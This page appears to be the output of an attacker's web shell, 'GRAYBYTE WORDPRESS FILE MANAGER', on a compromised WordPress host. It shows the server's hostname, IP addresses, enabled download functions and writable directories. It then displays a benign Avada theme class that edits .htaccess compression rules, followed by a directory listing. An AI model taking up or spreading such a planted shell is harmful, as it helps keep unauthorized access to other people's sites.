✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/includes//class-avada-server-rules.php
<?php
/**
 * Adds / removes server rules.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @subpackage Core
 * @since      7.4
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

define( 'AVADA_MARKER_BEGIN_GZIP_OUTPUT', '# BEGIN_AVADA_GZIP_OUTPUT' );
define( 'AVADA_MARKER_END_GZIP_OUTPUT', '# END_AVADA_GZIP_OUTPUT' );

define( 'AVADA_MARKER_BEGIN_COMPRESSION', '# BEGIN_AVADA_GZIP_COMPRESSION' );
define( 'AVADA_MARKER_END_COMPRESSION', '# END_AVADA_GZIP_COMPRESSION' );

/**
 * Adds / removes server rules.
 */
class Avada_Server_Rules {

	/**
	 * The one, true instance of this object.
	 *
	 * @static
	 * @access private
	 * @since 6.2
	 * @var object
	 */
	private static $instance;

	/**
	 * WP Filesystem object.
	 *
	 * @access private
	 * @since 7.4
	 * @var object
	 */
	private $wp_filesystem;

	/**
	 * The class constructor.
	 *
	 * @access public
	 * @since 7.4
	 * @return void
	 */
	private function __construct() {
		$this->wp_filesystem = Fusion_Helper::init_filesystem();
		add_filter( 'updated_option', [ $this, 'maybe_change_server_rules' ], 10, 3 );
	}

	/**
	 * Creates or returns an instance of this class.
	 *
	 * @static
	 * @access public
	 * @since 7.4
	 */
	public static function get_instance() {

		// If an instance hasn't been created and set to $instance create an instance and set it to $instance.
		if ( null === self::$instance ) {
			self::$instance = new Avada_Server_Rules();
		}
		return self::$instance;
	}

	/**
	 * Adds / Removes server rules based on GO value.
	 *
	 * @access public
	 * @since 7.4
	 * @param string $option    Name of the updated option.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 * @return mixed
	 */
	public function maybe_change_server_rules( $option, $old_value, $value ) {

		if ( 'fusion_options' === $option && isset( $value['gzip_status'] ) ) {
			$remove_rules = '0' === $value['gzip_status'];
			$this->rewrite_htaccess( $remove_rules );
		}

		return $value;
	}

	/**
	 * Checks if Apache server.
	 *
	 * @since 7.4
	 * @return bool
	 */
	public function is_apache() {

		// Assume Apache when can't be detected, since it is most common.
		if ( empty( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return true;
		}

		return isset( $_SERVER['SERVER_SOFTWARE'] ) && false !== stristr( $_SERVER['SERVER_SOFTWARE'], 'Apache' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
	}

	/**
	 * Modify .htaccess file
	 *
	 * @since 7.4
	 * @param bool $remove Whether to remove or add rules.
	 * @return bool Whether file changed or not. On failure also false is returned.
	 */
	public function rewrite_htaccess( $remove = false ) {
		if ( $this->is_htaccess_writable() ) {
			$has_change    = false;
			$htaccess_file = $this->get_htaccess_file();
			$rules         = $this->wp_filesystem->get_contents( $htaccess_file );

			if ( ! $remove ) {
				$rules = trim( $rules );

				if ( false === strpos( $rules, AVADA_MARKER_BEGIN_GZIP_OUTPUT ) ) {
					$rules     .= $this->get_gzip_htaccess();
					$has_change = true;
				}

				if ( false === strpos( $rules, 'mod_deflate.c' ) && false === strpos( $rules, 'mod_gzip.c' ) ) {
					$rules     .= $this->get_mod_rewrite();
					$has_change = true;
				}
			} else {

				if ( false !== strpos( $rules, AVADA_MARKER_BEGIN_GZIP_OUTPUT ) ) {
					$starts_at      = strpos( $rules, AVADA_MARKER_BEGIN_GZIP_OUTPUT );
					$ends_at        = strpos( $rules, AVADA_MARKER_END_GZIP_OUTPUT, $starts_at );
					$text_do_delete = substr( $rules, $starts_at, ( $ends_at + strlen( AVADA_MARKER_END_GZIP_OUTPUT ) ) - $starts_at );
					$rules          = str_replace( $text_do_delete, '', $rules );
					$has_change     = true;
				}

				if ( false !== strpos( $rules, AVADA_MARKER_BEGIN_COMPRESSION ) ) {
					$starts_at      = strpos( $rules, AVADA_MARKER_BEGIN_COMPRESSION );
					$ends_at        = strpos( $rules, AVADA_MARKER_END_COMPRESSION, $starts_at );
					$text_do_delete = substr( $rules, $starts_at, ( $ends_at + strlen( AVADA_MARKER_END_COMPRESSION ) ) - $starts_at );
					$rules          = str_replace( $text_do_delete, '', $rules );
					$has_change     = true;
				}
			}

			if ( true === $has_change ) {
				return $this->wp_filesystem->put_contents( $htaccess_file, trim( $rules ) );
			}
		}

		return false;
	}

	/**
	 * Checks if .htaccess file is writable.
	 *
	 * @since 7.4
	 * @return bool
	 */
	public function is_htaccess_writable() {

		if ( ! $this->is_apache() ) {
			return false;
		}

		$htaccess_file = $this->get_htaccess_file();
		return $this->wp_filesystem->exists( $htaccess_file ) && $this->wp_filesystem->is_writable( $htaccess_file );
	}

	/**
	 * Get .htaccess path.
	 *
	 * @since 7.4
	 * @return string
	 */
	public function get_htaccess_file() {
		return get_home_path() . '.htaccess';
	}

	/**
	 * Get gzip htaccess rules.
	 *
	 * @since 7.4
	 * @return string
	 */
	private function get_gzip_htaccess() {
		return PHP_EOL . AVADA_MARKER_BEGIN_GZIP_OUTPUT . PHP_EOL .
		'<IfModule mod_rewrite.c>
    <Files *.js.gz>
    AddType "text/javascript" .gz
    AddEncoding gzip .gz
    </Files>
    <Files *.css.gz>
    AddType "text/css" .gz
    AddEncoding gzip .gz
    </Files>
    <Files *.svg.gz>
    AddType "image/svg+xml" .gz
    AddEncoding gzip .gz
    </Files>
    <Files *.json.gz>
    AddType "application/json" .gz
    AddEncoding gzip .gz
    </Files>
    # Serve pre-compressed gzip assets
    RewriteCond %{HTTP:Accept-Encoding} gzip
    RewriteCond %{REQUEST_FILENAME}.gz -f
    RewriteRule ^(.*)$ $1.gz [QSA,L]
</IfModule>'
		. PHP_EOL . AVADA_MARKER_END_GZIP_OUTPUT . PHP_EOL;
	}

		/**
		 * Get mod_rewrite htaccess rules.
		 *
		 * @since 7.4
		 * @return string
		 */
	private function get_mod_rewrite() {

		return PHP_EOL . AVADA_MARKER_BEGIN_COMPRESSION . PHP_EOL .
		'<IfModule mod_deflate.c>
    #add content typing
    AddType application/x-gzip .gz .tgz
    AddEncoding x-gzip .gz .tgz
    # Insert filters
    AddOutputFilterByType DEFLATE text/plain
    AddOutputFilterByType DEFLATE text/html
    AddOutputFilterByType DEFLATE text/xml
    AddOutputFilterByType DEFLATE text/css
    AddOutputFilterByType DEFLATE application/xml
    AddOutputFilterByType DEFLATE application/xhtml+xml
    AddOutputFilterByType DEFLATE application/rss+xml
    AddOutputFilterByType DEFLATE application/javascript
    AddOutputFilterByType DEFLATE application/x-javascript
    AddOutputFilterByType DEFLATE application/x-httpd-php
    AddOutputFilterByType DEFLATE application/x-httpd-fastphp
    AddOutputFilterByType DEFLATE image/svg+xml
    # Drop problematic browsers
    BrowserMatch ^Mozilla/4 gzip-only-text/html
    BrowserMatch ^Mozilla/4\.0[678] no-gzip
    BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html
    <IfModule mod_headers.c>
        # Make sure proxies don\'t deliver the wrong content
        Header append Vary User-Agent env=!dont-vary
    </IfModule>
</IfModule>
# END GZIP COMPRESSION
## EXPIRES CACHING ##

<IfModule mod_expires.c>
ExpiresActive On
ExpiresDefault "access plus 1 week"
ExpiresByType image/jpg "access plus 1 year"
ExpiresByType image/jpeg "access plus 1 year"
ExpiresByType image/gif "access plus 1 year"
ExpiresByType image/png "access plus 1 year"
ExpiresByType image/svg+xml "access plus 1 month"
ExpiresByType text/css "access plus 1 month"
ExpiresByType text/html "access plus 1 minute"
ExpiresByType text/plain "access plus 1 month"
ExpiresByType text/x-component "access plus 1 month"
ExpiresByType text/javascript "access plus 1 month"
ExpiresByType text/x-javascript "access plus 1 month"
ExpiresByType application/pdf "access plus 1 month"
ExpiresByType application/javascript "access plus 1 months"
ExpiresByType application/x-javascript "access plus 1 months"
ExpiresByType application/x-shockwave-flash "access plus 1 month"
ExpiresByType image/x-icon "access plus 1 year"
ExpiresByType application/xml "access plus 0 seconds"
ExpiresByType application/json "access plus 0 seconds"
ExpiresByType application/ld+json "access plus 0 seconds"
ExpiresByType application/xml "access plus 0 seconds"
ExpiresByType text/xml "access plus 0 seconds"
ExpiresByType application/x-web-app-manifest+json "access plus 0 seconds"
ExpiresByType text/cache-manifest "access plus 0 seconds"
ExpiresByType audio/ogg "access plus 1 month"
ExpiresByType video/mp4 "access plus 1 month"
ExpiresByType video/ogg "access plus 1 month"
ExpiresByType video/webm "access plus 1 month"
ExpiresByType application/atom+xml "access plus 1 hour"
ExpiresByType application/rss+xml "access plus 1 hour"
ExpiresByType application/font-woff "access plus 1 month"
ExpiresByType application/vnd.ms-fontobject "access plus 1 month"
ExpiresByType application/x-font-ttf "access plus 1 month"
ExpiresByType font/opentype "access plus 1 month"
</IfModule>
#Alternative caching using Apache`s "mod_headers", if it`s installed.
#Caching of common files - ENABLED
<IfModule mod_headers.c>
<FilesMatch "\.(ico|pdf|flv|swf|js|css|gif|png|jpg|jpeg|ico|txt|html|htm)$">
Header set Cache-Control "max-age=2592000, public"
</FilesMatch>
</IfModule>

<IfModule mod_headers.c>
    <FilesMatch "\.(js|css|xml|gz)$">
    Header append Vary Accept-Encoding
    </FilesMatch>
# Set Keep Alive Header
Header set Connection keep-alive
</IfModule>

<IfModule mod_gzip.c>
    mod_gzip_on Yes
    mod_gzip_dechunk Yes
    mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$
    mod_gzip_item_include handler ^cgi-script$
    mod_gzip_item_include mime ^text/.*
    mod_gzip_item_include mime ^application/x-javascript.*
    mod_gzip_item_exclude mime ^image/.*
    mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
</IfModule>

# If your server don`t support ETags deactivate with "None" (and remove header)
<IfModule mod_expires.c>
    <IfModule mod_headers.c>
    Header unset ETag
    </IfModule>
    FileETag None
</IfModule>
## EXPIRES CACHING ##'
		. PHP_EOL . AVADA_MARKER_END_COMPRESSION . PHP_EOL;
	}

}

/* Omit closing PHP tag to avoid "Headers already sent" issues. */


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 9.36 AM
docteuh / users
0777
ReCaptcha
--
12 Sep 2026 9.54 PM
docteuh / users
0755
admin-screens
--
11 Sep 2026 11.42 AM
docteuh / users
0755
avada-app
--
11 Sep 2026 11.42 AM
docteuh / users
0755
cli
--
11 Sep 2026 11.42 AM
docteuh / users
0755
importer
--
11 Sep 2026 11.42 AM
docteuh / users
0755
lib
--
11 Sep 2026 11.42 AM
docteuh / users
0755
ls-skins
--
11 Sep 2026 11.43 AM
docteuh / users
0755
metaboxes
--
11 Sep 2026 11.43 AM
docteuh / users
0755
options
--
11 Sep 2026 11.43 AM
docteuh / users
0755
plugins
--
11 Sep 2026 11.43 AM
docteuh / users
0755
templates
--
13 Sep 2026 4.18 AM
docteuh / users
0755
typography
--
11 Sep 2026 11.43 AM
docteuh / users
0755
upgrade
--
11 Sep 2026 11.43 AM
docteuh / users
0755
avada-functions.php
74.62 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
avada-tgm.php
7.404 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bootstrap-compat.php
2.836 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bootstrap.php
23.922 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
class-avada-admin-bar.php
6.119 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-admin-notices.php
3.173 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-admin.php
67.267 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-autoload.php
7.125 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux-migration.php
53.218 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux-no-init.php
1.265 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux.php
13.874 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-block-editor.php
20.307 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-blog.php
6.99 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-dynamic-css.php
3.114 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-eventscalendar.php
18.39 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-fonts.php
1.444 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-google-fonts.php
16.682 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-googlemap.php
16.813 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-gravity-forms-tags-merger.php
8.659 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-head.php
9.167 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-helper.php
7.498 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-images.php
11.355 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-init.php
22 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-layout-bbpress.php
10.293 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-layout.php
8.679 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-maintenance.php
2.125 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-megamenu-framework.php
52.736 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-megamenu.php
7.557 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-migrate.php
18.71 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-multiple-featured-images.php
1.479 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-nav-walker-megamenu.php
13.034 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-options.php
5.677 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-output-callbacks.php
1.479 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-page-options.php
13.035 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-partial-refresh-callbacks.php
5.905 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-portfolio.php
1.789 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-privacy-embeds.php
29.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-pwa.php
10.102 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-remote-installer.php
1.783 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-scripts.php
57.458 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-sermon-manager.php
4.822 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-server-rules.php
10.008 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-settings.php
0.781 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-slider-revolution.php
7.707 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-system-status.php
5.192 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-taxonomy-meta.php
39.947 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-template.php
20.552 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-tgm-plugin-activation.php
123.496 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade.php
13.617 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-woocommerce-variations.php
20.62 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-woocommerce.php
67.586 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada.php
16.157 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-adobe-typography.php
9.316 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-global-colors.php
9.657 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-global-typography.php
15.848 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-maintenance-mode.php
12.025 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-performance-wizard.php
74.49 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-prebuilt-websites.php
6.711 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-site-data.php
19.308 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-demos-theme-options.php
3.191 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-filters.php
5.037 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-migrate.php
100.14 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-redux-options.php
4.736 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-deprecate-pyre-po.php
11.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-from-options.php
22.12 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-gfonts-downloader.php
9.502 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-image-resizer.php
7.556 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-languages-updater-api.php
6.365 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
custom-functions.php
16.814 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
deprecated.php
11.938 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
dynamic-css-helpers.php
21.163 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
dynamic-css.php
11.113 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-functions.php
9.768 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-shared-options.php
32.34 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wc-functions.php
2.654 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF